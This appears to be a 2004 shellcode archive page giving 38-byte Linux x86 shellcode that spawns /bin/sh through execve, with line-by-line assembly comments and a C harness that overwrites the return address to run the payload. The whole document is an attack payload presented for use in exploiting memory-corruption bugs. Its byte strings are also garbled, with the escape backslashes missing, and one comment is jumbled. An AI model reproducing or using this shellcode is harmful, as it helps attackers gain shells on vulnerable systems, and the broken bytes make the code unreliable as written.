[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 execve /bin/sh 38 bytes
# Published : 2004-09-12
# Author : Matias Sedalo
# Previous Title : linux/x86 execve /bin/sh 24 bytes
# Next Title : linux/x86 execve /bin/sh 30 bytes


/*
 * s0t4ipv6@Shellcode.com.ar
 * execve /bin/sh
 *
 * main() {
 *  char *name[2];
 *  name[0]="/bin/sh";
 *  name[1]=NULL;
 *  execve(name[0],name,NULL);
 * }
*/

#include <stdio.h>

char shellcode[]=
"xebx18"		//	jmp	0x18		// 3-4
"x5e"			//	popl	%esi		// 5
"x89x76x08"		//	movl	%esi, 0x8(%esi)	// 6-8
"x31xc0"		//	xorl	%eax, %eax	// 9-10
"x88x46x07"		//	movb	%al, 0x7(%esi)  // 11-13
"x89x46x0c"		//	movl	%eax, 0xc(%esi)	// 14-16  
"x89xf3"		//	movl	%esi, %ebx	// 17-18
"x8dx4ex08"		//	leal	0x8(%esi), %ecx	// 19-21
"x8dx56x0c"		//	leal	0xc(%esi), %edx	// 22-24
"xb0x0b"		//	movb	$0xb, %al	// 25-20 0xb to eax (syscall execve)6
"xcdx80"		//	int	$0x80		// 27-28
"xe8xe3xffxffxff"	//	call	-0x1d
"/bin/sh";

main() {
	int *ret;
	ret=(int *)&ret +2;
	printf("Shellcode lenght=%dn",strlen(shellcode));
	(*ret) = (int)shellcode;
}

// www.Syue.com [2004-09-12]